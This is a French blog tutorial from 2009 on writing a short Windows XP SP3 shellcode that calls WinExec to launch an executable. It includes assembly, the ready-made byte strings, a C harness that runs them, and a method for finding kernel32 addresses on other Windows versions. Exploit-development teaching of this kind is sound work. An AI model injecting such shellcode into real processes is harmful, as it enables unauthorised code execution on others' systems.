dimanche 1 novembre 2009

Shellcode Windows lanceur de programme exécutable

L'injection d'un shellcode sert généralement à lancer un exécutable. Voici un shellcode simple et court permettant de le faire facilement.



Il nécessite que le processus cible ait les droits d'exécution sur le programme choisi. Il est prévu pour une cible sous Windows XP SP3. La méthode pour l'adapter à une autre version de Windows est également abordée dans cet article.


  • plan

plan
outils
1. le shellcode
2. testez votre shellcode
3. trouvez l'adresse de WinExec et ExitProcess dans Kernel32
4. le même shellcode avec une autre chaîne de caractères
conclusion
références



  • outils

- gcc
Ce programme Linux a été porté sous windows grâce à
MinGW. Téléchargez l'installeur Windows sur le site officiel http://www.mingw.org/wiki/Getting_Started .

-
nasm


Remarque: pour éviter de devoir à chaque fois taper tout le chemin C:\MinGW\bin\gcc et C:\Program Files\NASM, modifiez les variables d'environnement: clic droit sur Poste de Travail, Propriétés, Avancé, Variables d'environnement, PATH, Modifier. Ajoutez ;C:\MinGW\bin;C:\Program Files\NASM . Relancez votre ordinateur.


- odfhex.cpp (cf  tutoriel 1ère partie, référence n°1) outil créé par Steve Hanna, pour extraire le shellcode fourni par "objdump -d" et formater une chaîne de caractères de type shellcode "\xb0\x80...". Placez odfhex.exe dans le même répertoire que votre fichier asm.

-
arwin.c (cf  tutoriel 1ère partie, référence n°1) outil créé également par Steve Hanna pour trouver l'adresse absolue d'une fonction windows pour une DLL donnée.



  • 1 le shellcode

- copiez les lignes suivantes dans un fichier shellcode.asm:


; shellcode.asm

; raz EAX
xor eax,eax

;place exitcode 0x00 sur la pile pour ExitProcess
push eax

;place SW_HIDE (0x00) sur la pile
push eax

; place l'adresse de la chaine dans la pile
    jmp short @@allerProgramme
@@retourProgramme:

; appelle WinExec

mov eax,0x7c86250d ; adresse pour WXP SP3
call eax

mov eax, 0x7c81cb12    ;exitprocess(exitcode);

call eax

@@allerProgramme:
call @@retourProgramme
db 'calc'
add al,al  ; ajoute x00 à la fin de la chaine


C:\exemple> nasm -l elf shellcode.asm
C:\exemple> ld -o shellcode shellcode.o
C:\exemple> objdump -d shellcode > shellcode.tmp
C:\exemple> odfhex shellcode.tmp

"\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81"\
"\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00\xc0\xff\xff\xff"\
"\xff\xff\xff\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00
";

Les derniers opcodes sont inutiles. Voici le shellcode (30 caractères)

\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00



  • 2. Testez votre shellcode

/*shellcodetest.c*/

char code[] = "\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xed\xff\xff\xff\x63\x61\x6c\x63\x00";


int main(int argc, char **argv)
{

  int (*func)();

  func = (int (*)()) code;

  (int)(*func)();

}

Compilez

C:\exemple> gcc -o shellcodetest shellcodetest.c

C:\exemple> shellcodetest



  • 3. Trouver l'adresse de WinExec et ExitProcess dans kernel32.dll

WinExec
est la fonction Windows permettant de lancer un programme.


UINT WINAPI WinExec(
__in LPCSTR lpCmdLine,
__in UINT uCmdShow
);


Effectuez cette procédure sur un OS de la même version que votre cible: (XP SP2, VISTA,...)

C:\exemple>arwin kernel32.dll WinExec
arwin - win32 address resolution program - by steve hanna - v.01
WinExec is located at 0x7c86250d in kernel32.dll


C:>
arwin kernel32.dll ExitProcess

arwin - win32 address resolution program - by steve hanna - v.01

ExitProcess is located at 0x7c81cb12 in kernel32.dll



  • 4 le même shellcode avec une autre chaine de caractères

Voici une autre exemple pour illustrer le fait qu'avec un long chemin, cela marche encore:

; shellcode2.asm

xor eax,eax

push eax
push eax
jmp short @@allerProgramme
@@retourProgramme:
mov eax,0x7c86250d

call eax
mov eax, 0x7c81cb12

call eax
@@allerProgramme:
call @@retourProgramme
db '
C:\Program Files\Internet Explorer\iexplore'
add al,al

et le shellcode qui va avec:

"\x31\xc0\x50\x50\xeb\x0e\xb8\x0d\x25\x86\x7c\xff\xd0\xb8\x12\xcb\x81"\
"\x7c\xff\xd0\xe8\xed\xff\xff\xff\x43\x3a\x5c\x50\x72\x6f\x67\x72\x61"\
"\x6d\x20\x46\x69\x6c\x65\x73\x5c\x49\x6e\x74\x65\x72\x6e\x65\x74\x20"\
"\x45\x78\x70\x6c\x6f\x72\x65\x72\x5c\x69\x65\x78\x70\x6c\x6f\x72\x65"\
"\x00";



  • conclusion

Dans cet article, vous avez abordé une méthode rapide pour créer un shellcode court permettant de lancer n'importe quel exécutable pour lequel le processus cible a les droits d'exécution.



  • références:

Aucun commentaire:

Enregistrer un commentaire